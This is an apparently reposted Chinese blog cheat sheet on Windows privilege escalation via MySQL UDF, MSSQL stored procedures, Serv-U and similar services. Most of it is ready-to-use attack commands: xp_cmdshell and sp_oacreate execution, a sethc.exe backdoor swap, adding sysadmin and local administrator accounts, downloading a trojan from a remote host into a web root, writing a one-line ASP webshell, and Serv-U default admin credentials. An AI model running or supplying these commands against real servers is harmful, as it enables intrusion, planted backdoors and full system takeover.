[置顶] 关于怎样提权的小帖子

摘要:
然而,由于UDF的特定限制,MYSQL的每个版本都不同。因此,在导出UDF权限之前,有必要确定MYSQL的版本。无论DLL在哪里,函数声明是什么。MYSQL5.1和MYSQL5.1。这是一个我相信你会经常遇到的问题。用于创建函数的DLL只能放在mysql的插件目录中。MYSQL无法创建目录。如果intodumpfile的目标目录不存在,将报告错误。编写UDF需要实现MySQL特定的接口函数。但是,在某些情况下,具有低权限的用户将被用于运行扩展进程的DLL,或者某些EXE将被使用权限处理。

牛逼版本

http://blog.csdn.net/eldn__/article/details/8452242

常见版本

http://www.jb51.net/hack/21297.html

http://hi.baidu.com/happy8d/item/6839edc2ba343953ac00efcc

http://www.webshell.cc/tag/tiquan

http://sec.chinabyte.com/486/11584486.shtml



数据库提权
数据库的提权多用于windows主机,通常windows主机数据库运行在root权限,linux则不然。

MySQL

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。 

所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。

Pre MySQL 4.1

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

After MySQL 4.1

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL.

After MYSQL 5.0

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

MYSQL 5.1

再说MYSQL5.1,这里有个问题相信大家会经常遇到的。创建函数时所用的DLL只能放在mysql的plugin目录里面。而且这个plugin目录默认是不存在的。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。编写UDF需要实现MySQL特定的接口函数。

UDF手册

http://dev.mysql.com/doc/refman/5.1/de/udf-calling.html

MSSQL

 
MSSQL有很强大的功能存储过程,可以干很多坏事。
参阅
http://msdn.microsoft.com/zh-cn/library/ms174984.aspx
因为这个MSSQL默认是在系统权限下运行的,所以会有很高的权限。
但是有些情况,会使用低权限的用户运行,扩展过程的DLL,或者一些EXE,被做了权限处理。
Mssql执行文件一般没有回显,可以重定向到一个文本文件。

判断权限

and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

开启与关闭

2000的话可以使用dropextentedpooc来删除过程,不过2008和2005已经不能够使用了
exec   master..sp_dropextendedproc   xp_cmdshell 
恢复存储过程
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
dll与存储过程的关系
 'xp_cmdshell'         'xplog70.dll' 
 'xp_dirtree'          'xpstar.dll' 
 'xp_enumgroups'       'xplog70.dll' 
 'xp_fixeddrives'      'xpstar.dll' 
 'xp_loginconfig'      'xplog70.dll' 
 'xp_regaddmultistring'  'xpstar.dll' 
 'xp_regdeletekey'     'xpstar.dll' 
 'xp_regdeletevalue'   'xpstar.dll' 
 'xp_regread'          'xpstar.dll' 
 'xp_regremovemultistring'  'xpstar.dll' 
 'xp_regwrite'         'xpstar.dll' 
 'xp_enumerrorlogs'    'xpstar.dll' 
 'xp_getfiledetails'   'xpstar.dll' 
 'xp_regenumvalues'    'xpstar.dll'

在2000以上版本开启关闭的话可以这样
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO


XP_前缀存储过程

这个可以最简单的用来执行命令,用之前可以先看一下这个存储过程是否存在。
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'  

XP_CMDSHELL

执行的话也比较简单,这个需要master数据库的db_onwer权限
exec master..xp_cmdshell "whoami"


XP_DIRTREE

这个函数有三个参数,查询目录(可省略),递归深度  ,是否显示文件。
利用方法一般是,新建一个表然后把结果写入到其中,在结果集中搜索也可以得到网站根目录,不过较麻烦

exec master.dbo.xp_dirtree 'c:',1,1


XP_REGREAD

就是简单的读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp','PortNumber'


XP_REGWRITE

就是简单的写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWAREMicrosoftJet4.0Engines''SandBoxMode''REG_DWORD'1   

XP_SERVICECONTROL

开启关闭某个服务
exec master..xp_servicecontrol 'stop' ,'schedule'   
exec master..xp_servicecontrol 'start','schedule'

SP_前缀存储过程

sp_addlogin

exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

sp_oacreate 

wscript.shell
执行命令
use master 
declare @o int 
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:	est.tmp'
scripting.filesystemobject
scripting.filesystemobject
对文件操作
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out 
exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';
Shell.Application
执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c sc start TermService
Microsoft.XMLHTTP

可以实现从网上下载文件

DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 
EXEC @hr = sp_oamethod @http,[Send],null 
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:www_iismuma.asp],1

sp_add_job

use msdb 
exec sp_delete_job null,'x' 
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "whoami > c:/q.txt"' 
exec sp_add_jobserver null,'x',@@servername 
exec sp_start_job 'x';


sp_webmaketest

这个可以简单的写文件
exec sp_makewebtask 'd:wwwxxxxxx.asp',' select ''<%execute(request("cn"))%>'' '


ACCESS沙盒模式执行命令

首先修改注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
之后就可以执行命令了
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
这里执行命令用的数据库是系统两个自带数据库,通常存放在
C:WINDOWSsystem32iasdnary.mdb
C:WINDOWSsystem32iasias.mdb
如果数据库不存在的话,可以上传一个,或者使用这样的语句创建一个
declare @hr int;
declare @object int;
declare @property int
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
之后执行命令的话,这样执行即可
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("whoami")’) 



ORCALE

Orcale这个数据库还是很不常见的,但是这个数据有个牛逼特性,能执行java,但是懒得看了,这几篇文章讲得不错。

ServU

因为其用户信息保存在ServUDaemon.ini中,密码使用md5加密,如果serv-u在高权限下,就带来了提权的可能。
也有一些信息在ServUAdmin.exe中。
默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P
通常的网马内置的servU提权都是利用了这个内置的管理员来执行命令。
不过这都是一些低版本的特性,现在11.2基本已经无法利用了

如果能连接到ftp服务的话,可以尝试使用quote site exe 执行命令,这个需要%home%目录下的执行权限,默认是关闭的
ftp> quote site exec net.exe user
550 /net.exe: Permission denied.
打开之后如果出现
ftp> quote site exec net.exe user
550 /net.exe: No such file.
把目录改变一下即可
ftp> cd windows/system32
250 Directory changed to /WINDOWS/system32
ftp> quote site exec net.exe user
200 EXEC command successful (TID=42).





有意思的端口转发
http://www.spiger.cn/article/206.html

百度百科
http://baike.baidu.com/view/1233621.htm

Serv-u quote site exec
http://www.hackbase.com/tech/2011-08-26/65140.html

pcanywhere提权
这个提权和serv-u类似,覆盖保存密码的文件
http://chaizp.diandian.com/post/2011-01-29/4262542


G6FTP 服务器提权
依旧是读取密码文件
http://www.myhack58.com/Article/html/3/8/2010/28548.htm

HASH破解提权
大概就是,破解SAM的hash值。

CAIN 嗅探


VNC密码破解提权(从注册表中读取VNC密码)


替换服务提权(最古老的提权方法) 替换自启动的程序,需要修改权限和服务器重启
http://www.myhack58.com/Soft/html/13/26/2007/2007031310009.htm


MYSQL root密码提权(最新、最有效的提权方法)
写入启动项一个VBS
http://wenku.baidu.com/view/f1928f03eff9aef8941e06af.html

Tomcat环境提权(利用JSP以系统权限运行)
多是利用Tamcat后台提权
http://h.evil.blog.163.com/blog/static/99793504201231021424130/
http://www.hackerfans.com/hacker-skills/tomcat-hacking.html


FlashFXP替换文件提权(利用社会工程学)
修改asp.dll的运行权限提权
这个不是太懂,大概是修改dll的运行权限~
http://blog.csdn.net/clofty/article/details/5948755

利用radmin提权
这也是一款远控,密码保存在注册表中。
http://blog.sina.com.cn/s/blog_5efeeff10100l92f.html
http://www.myhack58.com/Soft/html/13/25/2007/2007082211234.htm
http://hi.baidu.com/cangbai8/item/e00685c2dab6eb2847d5c0f6


端口映射

NC反弹链接


溢出提权
比较全的方法
http://www.365sec.net/post-129.html
防范措施
http://server.zdnet.com.cn/server/2007/1026/580517.shtml

免责声明:文章转载自《[置顶] 关于怎样提权的小帖子》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇JavaScript高级程序设计(一):JavaScript简介C#模拟鼠标、键盘操作下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

sqlserver下通用 行转列 函数(原创)

因项目中常需要行转列的统计报表,每次编写时,均费一番功夫,今天特地花费几个小时编写了一套用于Sqlserver的 通用行转列 存储过程 采用sqlserver2000自带的pubs示例库,实验目标: 将作者所写的图书价格 以横向表格展示 如: 作者 书名1 书名2 书名3 书名4 张三 25.0 3.5     李四     89.0 54.3...

使用Advanced Installer制作IIS安装包(二:配置安装包依赖项和自定义dll)

阅读目录 一、配置安装包依赖项 二、自定义dll(测试数据库连接) 三、总结 正文 前言:上篇使用Advanced Installer制作IIS安装包(一:配置IIS和Web.config)介绍了下使用Advanced Installer配置IIS和Web.config的过程,操作起来是相对比较简单的,只要知道了博主提供的方法,相信都不是问题,其实...

MySQL存储过程(转)

MySQL存储过程(转) 一、MySQL 创建存储过程“pr_add” 是个简单的 MySQL 存储过程,这个存储过程有两个 int 类型的输入参数 “a”、“b”,返回这两个参数的和。 drop procedure if exists pr_add; -- 计算两个数之和 create procedure pr_add(a int,b int)begin...

.Net程序集强签名详解

强签名: 1. 可以将强签名的dll注册到GAC,不同的应用程序可以共享同一dll。 2. 强签名的库,或者应用程序只能引用强签名的dll,不能引用未强签名的dll,但是未强签名的dll可以引用强签名的dll。 3. 强签名无法保护源代码,强签名的dll是可以被反编译的。 4. 强签名的dll可以防止第三方恶意篡改。 强签名的方法: 1. 有源代码: 1....

Qt 开发的界面程序封装成DLL,在VC中成功调用

最近手头的一个项目需要做一个QT界面,并且封装成DLL,然后再动态调用DLL给出的接口函数,使封装在DLL内部的QT界面跑起来,在网上查了很多资料,今天终于成功了,经验不敢独享,因为CSDN给了我很多帮助,将心得写在这里供大家参考。PS:本文中谈的是用QT封装一个包含界面的DLL,然后在其他任何地方使用任何语言来调用这个DLL,不是那种在qt creato...

在Entity Framework中使用存储过程(一):实现存储过程的自动映射

之前给自己放了一个比较长的假期,在这期间基本上没怎么来园子逛。很多朋友的留言也没有一一回复,在这里先向大家道个歉。最近一段时间的工作任务是如何将ADO.NET Entity Framework 4.0(以下简称EF)引入到我们的开发框架,进行相应的封装、扩展,使之成为一个符合在特定场景下进行企业级快速开发的ORM。在此过程中遇到了一些挑战,也有一些心得。为...